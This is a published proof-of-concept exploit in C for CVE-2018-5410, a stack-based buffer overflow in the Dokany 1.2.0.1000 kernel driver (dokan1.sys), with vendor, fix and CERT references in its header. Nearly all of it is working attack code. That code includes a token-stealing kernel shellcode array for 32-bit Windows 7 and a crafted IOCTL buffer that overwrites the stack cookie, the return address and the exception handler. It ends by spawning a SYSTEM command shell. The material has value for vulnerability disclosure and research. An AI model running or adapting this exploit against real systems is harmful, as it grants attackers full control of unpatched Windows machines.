Dokany 1.2.0.1000 – Stack-Based Buffer Overflow Privilege Escalation
/* Exploit Title - Dokany Stack-based Buffer Overflow Privilege Escalation Date - 14th January 2019 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - http://dokan-dev.github.io Tested Version - 1.2.0.1000 Driver Version - 1.2.0.1000 - dokan1.sys Software package - https://github.com/dokan-dev/dokany/releases/download/v1.2.0.1000/DokanSetupDbg_redist.exe Tested on OS - 32bit Windows 7 CVE ID - CVE-2018-5410 Vendor fix url - https://github.com/dokan-dev/dokany/releases/tag/v1.2.1.1000 CERT/CC Vul note - https://www.kb.cert.org/vuls/id/741315 Fixed Version - 1.2.1.1000 Fixed driver ver - 1.2.1.1000 Check blogpost for details: https://www.greyhathacker.net/?p=1041 */ #include <stdio.h> #include <windows.h> #define BUFSIZE 896 // Windows 7 SP1 #define W7_KPROCESS 0x50 // Offset to _KPROCESS from a _ETHREAD struct #define W7_TOKEN 0xf8 // Offset to TOKEN from the _EPROCESS struct #define W7_UPID 0xb4 // Offset to UniqueProcessId FROM the _EPROCESS struct #define W7_APLINKS 0xb8 // Offset to ActiveProcessLinks _EPROCESS struct BYTE token_steal_w7[] = { 0x60, // pushad Saves all registers 0x64,0xA1,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,W7_KPROCESS, // mov eax, [eax+W7_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax Current _EPROCESS structure 0x8b,0x98,W7_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W7_TOKEN] Retrieves TOKEN 0x8b,0x80,W7_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W7_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,W7_APLINKS,0x00,0x00,0x00, // sub eax, W7_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+W7_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,W7_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W7_TOKEN] Retrieves TOKEN and stores on EDX 0x89,0x91,0xF8,0x00,0x00,0x00, // mov [ecx+W7_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x61, // popad Restores all registers 0x81,0xc4,0x3c,0x0b,0x00,0x00, // add esp,0xB3c Target frame to return 0x31,0xc0, // xor eax,eax NTSTATUS -> STATUS_SUCCESS 0x5d, // pop ebp Restore saved EBP 0xc2,0x08,0x00 // ret 8 Return cleanly }; int spawnShell() { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); if (!CreateProcess(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return -1; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; } int main(int argc, char *argv[]) { HANDLE hDevice; char devhandle[MAX_PATH]; DWORD dwRetBytes = 0; BYTE *inbuffer; LPVOID addrtoshell; printf("-------------------------------------------------------------------------------\n"); printf(" Dokany (dokan1.sys) Stack-based Buffer Overflow Cookie Bypass EoP Exploit \n"); printf(" Tested on 32bit Windows 7 \n"); printf("-------------------------------------------------------------------------------\n"); addrtoshell = VirtualAlloc(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(addrtoshell == NULL) { printf("\n[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } memcpy(addrtoshell, token_steal_w7, sizeof(token_steal_w7)); printf("\n[i] Size of shellcode %d bytes", sizeof(token_steal_w7)); printf("\n[i] Shellcode located at address 0x%p", addrtoshell); inbuffer = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if(inbuffer == NULL) { printf("\n[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } memset(inbuffer, 0x41, BUFSIZE); printf("\n[i] Buffer located at address 0x%p", inbuffer); printf("\n[i] Size of total input buffer being sent %d bytes", BUFSIZE); *(WORD*)(inbuffer) = BUFSIZE; // Size of buffer used by memcpy *(WORD*)(inbuffer + 2) = BUFSIZE-6; // Size of input buffer, value has to be at most BUFSIZE - 6 *(DWORD*)(inbuffer + 776) = 0x42424242; // cookie *(DWORD*)(inbuffer + 784) = 0x43434343; // return *(DWORD*)(inbuffer + 792) = 0x44444444; // IRP // *(DWORD*)(inbuffer + 892) = 0x45454545; // Exception handler *(DWORD*)(inbuffer + 892) = (ULONG)addrtoshell; // Shellcode sprintf(devhandle, "\\\\.\\%s", "Dokan_1"); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if(hDevice == INVALID_HANDLE_VALUE) { printf("\n[-] Open %s device failed\n\n", devhandle); return -1; } else { printf("\n[+] Open %s device successful", devhandle); } printf("\n[~] Press any key to continue . . .\n"); getch(); DeviceIoControl(hDevice, 0x00222010, inbuffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL); printf("[*] Spawning SYSTEM Shell\n"); spawnShell(); CloseHandle(hDevice); return 0; } |